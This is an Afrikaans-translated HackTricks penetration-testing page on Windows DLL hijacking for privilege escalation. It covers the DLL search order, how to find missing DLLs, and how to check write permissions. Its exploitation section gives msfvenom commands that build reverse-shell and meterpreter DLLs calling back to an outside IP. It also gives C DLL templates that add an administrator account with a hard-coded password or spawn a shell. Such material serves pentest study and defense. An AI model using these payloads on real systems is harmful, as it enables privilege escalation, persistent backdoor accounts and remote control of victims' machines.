Dll Hijacking

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin verdien belonings tot $100,000!

Basiese Inligting

DLL Ontvoering behels die manipulering van 'n vertroude toepassing om 'n skadelike DLL te laai. Hierdie term sluit verskeie taktieke in soos DLL Spoofing, Injeksie, en Kantlaai. Dit word hoofsaaklik gebruik vir kode-uitvoering, bereiking van volharding, en, minder algemeen, voorreg-escalasie. Ten spyte van die fokus op escalasie hier, bly die metode van ontvoering konsekwent oor doelwitte.

Algemene Tegnieke

Verskeie metodes word gebruik vir DLL-ontvoering, elk met sy doeltreffendheid afhangende van die toepassing se DLL-laai-strategie:

  1. DLL Vervanging: Omruiling van 'n ware DLL met 'n skadelike een, opsioneel met gebruik van DLL Proksy om die oorspronklike DLL se funksionaliteit te behou.

  2. DLL Soekorde Ontvoering: Plaas die skadelike DLL in 'n soekpad voor die regmatige een, wat die toepassing se soekpatroon benut.

  3. Spook DLL Ontvoering: Skep 'n skadelike DLL vir 'n toepassing om te laai, dinkende dit is 'n nie-bestaande vereiste DLL.

  4. DLL Aanstuur: Wysig soekparameters soos %PATH% of .exe.manifest / .exe.local lêers om die toepassing na die skadelike DLL te rig.

  5. WinSxS DLL Vervanging: Vervanging van die regmatige DLL met 'n skadelike eweknie in die WinSxS-gids, 'n metode dikwels geassosieer met DLL kantlaai.

  6. Relatiewe Pad DLL Ontvoering: Plaas die skadelike DLL in 'n gebruikerbeheerde gids saam met die gekopieerde toepassing, wat lyk na Binêre Proksie Uitvoeringstegnieke.

Vind van ontbrekende Dlls

Die mees algemene manier om ontbrekende Dlls binne 'n stelsel te vind is deur procmon vanaf sysinternals te hardloop, stel die volgende 2 filters in:

en wys net die Lêersisteemaktiwiteit:

As jy op soek is na ontbrekende dlls in die algemeen laat jy dit vir 'n paar sekondes loop. As jy op soek is na 'n ontbrekende dll binne 'n spesifieke uitvoerbare lêer moet jy 'n ander filter instel soos "Prosesnaam" "bevat" "<uitvoernaam>", voer dit uit, en stop die vaslegging van gebeure.

Uitbuiting van Ontbrekende Dlls

Om voorregte te eskaleer, is die beste kans wat ons het om in staat te wees om 'n dll te skryf wat 'n voorregproses sal probeer laai op 'n plek waar dit gaan word gesoek. Daarom sal ons in staat wees om 'n dll te skryf in 'n gids waar die dll voor die oorspronklike dll gesoek word (vreemde geval), of ons sal in staat wees om te skryf op 'n gids waar die dll gaan gesoek word en die oorspronklike dll bestaan nie in enige gids nie.

Dll Soekorde

Binne die Microsoft-dokumentasie kan jy vind hoe die Dlls spesifiek gelaai word.

Windows-toepassings soek na DLLs deur 'n reeks voorafbepaalde soekpaaie te volg, in ooreenstemming met 'n spesifieke volgorde. Die probleem van DLL-ontvoering ontstaan wanneer 'n skadelike DLL strategies in een van hierdie gidses geplaas word, verseker dat dit gelaai word voordat die egte DLL. 'n Oplossing om dit te voorkom is om te verseker dat die toepassing absolute paaie gebruik wanneer dit na die DLLs verwys wat dit benodig.

Jy kan die DLL soekorde op 32-bietjie stelsels hieronder sien:

  1. Die gids waaruit die toepassing gelaai is.

  2. Die stelselgids. Gebruik die GetSystemDirectory funksie om die pad van hierdie gids te kry.(C:\Windows\System32)

  3. Die 16-bietjie stelselgids. Daar is geen funksie wat die pad van hierdie gids kry nie, maar dit word gesoek. (C:\Windows\System)

  4. Die Windows-gids. Gebruik die GetWindowsDirectory funksie om die pad van hierdie gids te kry.

  5. (C:\Windows)

  6. Die huidige gids.

  7. Die gidsies wat in die PATH-omgewingsveranderlike gelys is. Let daarop dat dit nie die per-toepassing-gids insluit wat deur die App Paths-register sleutel gespesifiseer is nie. Die App Paths sleutel word nie gebruik wanneer die DLL soekpad bereken word nie.

Dit is die verstek soekorde met SafeDllSearchMode geaktiveer. Wanneer dit gedeaktiveer is, eskaleer die huidige gids na die tweede plek. Om hierdie funksie te deaktiveer, skep die HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registerwaarde en stel dit in op 0 (verstek is geaktiveer).

As LoadLibraryEx funksie geroep word met LOAD_WITH_ALTERED_SEARCH_PATH begin die soek in die gids van die uitvoerbare module wat LoadLibraryEx laai.

Laastens, let daarop dat 'n dll gelaai kan word deur die absolute pad aan te dui in plaas van net die naam. In daardie geval gaan daardie dll net in daardie pad gesoek word (as die dll enige afhanklikhede het, gaan hulle gesoek word soos net deur naam gelaai).

Daar is ander maniere om die soekorde te verander maar ek gaan dit nie hier verduidelik nie.

Uitsluitings op dll-soekvolgorde vanaf Windows-dokumentasie

Sekere uitsonderings op die standaard DLL-soekvolgorde word genoteer in die Windows-dokumentasie:

  • Wanneer 'n DLL wat sy naam deel met een wat reeds in die geheue gelaai is teenkom word, ignoreer die stelsel die gewone soektog. In plaas daarvan, voer dit 'n kontrole vir omleiding en 'n manifest uit voordat dit by die reeds in die geheue gelaai DLL uitkom. In hierdie scenario doen die stelsel nie 'n soektog vir die DLL nie.

  • In gevalle waar die DLL erken word as 'n bekende DLL vir die huidige Windows-weergawe, sal die stelsel sy weergawe van die bekende DLL gebruik, saam met enige van sy afhanklike DLL's, sonder om die soekproses te volg. Die register sleutel HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs hou 'n lys van hierdie bekende DLL's.

  • Indien 'n DLL afhanklikhede het, word die soektog na hierdie afhanklike DLL's uitgevoer asof hulle slegs aangedui is deur hul module name, ongeag of die aanvanklike DLL geïdentifiseer is deur 'n volledige pad.

Voorregte Eskalasie

Vereistes:

  • Identifiseer 'n proses wat bedryf of sal bedryf word onder verskillende voorregte (horisontale of laterale beweging), wat 'n DLL kortkom.

  • Verseker dat skryftoegang beskikbaar is vir enige gids waarin die DLL sal word gesoek. Hierdie plek kan die gids van die uitvoerbare lêer wees of 'n gids binne die stelselpad.

Ja, die vereistes is moeilik om te vind aangesien dit by verstek nogal vreemd is om 'n bevoorregte uitvoerbare lêer sonder 'n dll te vind en dit is selfs nog vreemder om skryftoestemmings op 'n stelselpadgids te hê (jy kan dit nie by verstek hê nie). Maar, in verkeerd geconfigureerde omgewings is dit moontlik. In die geval dat jy gelukkig is en jy vind dat jy aan die vereistes voldoen, kan jy die UACME projek nagaan. Selfs al is die hoofdoel van die projek om UAC te omseil, kan jy daar 'n PoC van 'n Dll-hacking vir die Windows-weergawe vind wat jy kan gebruik (waarskynlik net deur die pad van die gids waar jy skryftoestemmings het, te verander).

Merk op dat jy jou toestemmings in 'n gids kan nagaan deur:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

En kontroleer die regte van alle lêers binne die PAD:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Jy kan ook die invoere van 'n uitvoerbare lêer en die uitvoere van 'n dll nagaan met:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Vir 'n volledige gids oor hoe om Dll Hijacking te misbruik om voorregte te eskaleer met toestemmings om in 'n Sisteempad-vouer te skryf, kyk:

pageWritable Sys Path +Dll Hijacking Privesc

Geoutomatiseerde gereedskap

Winpeas sal nagaan of jy skryftoestemmings het op enige vouer binne die stelsel-PAD. Ander interessante geoutomatiseerde gereedskap om hierdie kwesbaarheid te ontdek is PowerSploit-funksies: Find-ProcessDLLHijack, Find-PathDLLHijack en Write-HijackDll.

Voorbeeld

In die geval dat jy 'n uitbuitbare scenario vind, sal een van die belangrikste dinge om dit suksesvol uit te buit wees om 'n dll te skep wat ten minste al die funksies uitvoer wat die uitvoerbare lêer daarvan sal invoer. Hoe dan ook, let daarop dat Dll Hijacking handig is om te eskaleer van Medium Integriteitsvlak na Hoë (UAC omseil) of van Hoë Integriteit na SISTEEM. Jy kan 'n voorbeeld vind van hoe om 'n geldige dll te skep binne hierdie dll-hijacking-studie wat gefokus is op dll-hijacking vir uitvoering: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows. Verder, in die volgende afdeling kan jy 'n paar basiese dll-kodes vind wat nuttig kan wees as sjablone of om 'n dll met nie-verpligte funksies uitgevoer te skep.

Dlls Skep en Kompilering

Dll Proksifisering

Basies is 'n Dll-proksi 'n Dll wat in staat is om jou skadelike kode uit te voer wanneer dit gelaai word maar ook om bloot te lê en te werk soos verwag deur alle oproepe na die werklike biblioteek te relayeer.

Met die gereedskap DLLirant of Spartacus kan jy eintlik 'n uitvoerbare lêer aandui en die biblioteek kies wat jy wil proksifiseer en 'n geproksifiseerde dll genereer of die Dll aandui en 'n geproksifiseerde dll genereer.

Meterpreter

Kry rev-skyf (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Kry 'n meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Skep 'n gebruiker (x86 Ek het nie 'n x64 weergawe gesien nie):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Jou eie

Let daarop dat in verskeie gevalle die Dll wat jy saamstel, verskeie funksies moet uitvoer wat deur die slagofferproses gelaai gaan word, as hierdie funksies nie bestaan nie, sal die binêre lêer nie in staat wees om hulle te laai en die uitbuiting sal misluk.

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

Verwysings

Foutbounty wenk: teken aan vir Intigriti, 'n premium foutbounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om belonings te verdien tot $100,000!

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated